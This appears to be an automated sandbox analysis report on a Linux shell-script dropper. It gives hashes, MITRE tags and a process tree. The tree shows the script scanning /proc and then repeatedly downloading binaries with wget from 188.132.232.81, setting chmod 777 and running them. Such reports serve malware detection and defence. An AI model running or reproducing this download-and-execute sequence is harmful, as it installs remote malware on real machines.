da4dab73dc3dcbf801fa468bd741319ddf7879c642570dbe9aff7ef08131c6d6

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/06/2026, 02:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8e5bb15c_p.sh
Size 834B
Sample260604-cn7ttagy4w
SHA256 da4dab73dc3dcbf801fa468bd741319ddf7879c642570dbe9aff7ef08131c6d6
MD5 b84a6cd97bb2d947c9777e434b7cc2df
SHA1 81e32edf11460216e9986c431df972493e8e1426
SHA512 2a0f08b9a4ad1f2c6268c8fb9ce27ac31346fcfcf849ebcefb013a3d9d3e69dbd6c78d108e0aac63cf0050c0c6dc7685e00c08c728507cde20990608d589d560
TLSH
T1DF01AFDA8002DB6041D6E86D72DB92A07820C3CB59418FE87FDC043D9BA97097056F95
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
808	chmod
829	chmod
834	chmod
783	chmod
789	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/OKFH	784	8e5bb15c_p.sh
/tmp/qcU	790	8e5bb15c_p.sh
/tmp/eWa	810	8e5bb15c_p.sh
/tmp/pxEu	830	8e5bb15c_p.sh
/tmp/8g7K	835	8e5bb15c_p.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/eWa	wget
File opened for modification	/tmp/pxEu	wget
File opened for modification	/tmp/8g7K	wget
File opened for modification	/tmp/p	8e5bb15c_p.sh
File opened for modification	/tmp/OKFH	wget
File opened for modification	/tmp/qcU	wget

/tmp/8e5bb15c_p.sh
/tmp/8e5bb15c_p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:643
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:647
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:653
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:657
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/148/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/185/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/226/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/315/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/328/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/567/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/rm
  rm -rf OKFH
  2⤵
  PID:757
- /usr/bin/wget
  wget http://188.132.232.81/OKFH
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 OKFH
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/OKFH
  ./OKFH pdvr
  2⤵
  PID:784
- /bin/sh
  /bin/sh ./OKFH pdvr
  2⤵
  PID:784
- /bin/rm
  rm -rf qcU
  2⤵
  PID:786
- /usr/bin/wget
  wget http://188.132.232.81/qcU
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 qcU
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/qcU
  ./qcU pdvr
  2⤵
  PID:790
- /bin/sh
  /bin/sh ./qcU pdvr
  2⤵
  PID:790
- /bin/rm
  rm -rf eWa
  2⤵
  PID:792
- /usr/bin/wget
  wget http://188.132.232.81/eWa
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 eWa
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/eWa
  ./eWa pdvr
  2⤵
  PID:810
- /bin/sh
  /bin/sh ./eWa pdvr
  2⤵
  PID:810
- /bin/rm
  rm -rf pxEu
  2⤵
  PID:813
- /usr/bin/wget
  wget http://188.132.232.81/pxEu
  2⤵
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 pxEu
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/pxEu
  ./pxEu pdvr
  2⤵
  PID:830
- /bin/sh
  /bin/sh ./pxEu pdvr
  2⤵
  PID:830
- /bin/rm
  rm -rf 8g7K
  2⤵
  PID:832
- /usr/bin/wget
  wget http://188.132.232.81/8g7K
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 8g7K
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/8g7K
  ./8g7K pdvr
  2⤵
  PID:835
- /bin/sh
  /bin/sh ./8g7K pdvr
  2⤵
  PID:835
- /bin/rm
  rm -rf p
  2⤵
  PID:837

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OKFH

Path /tmp/OKFH
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512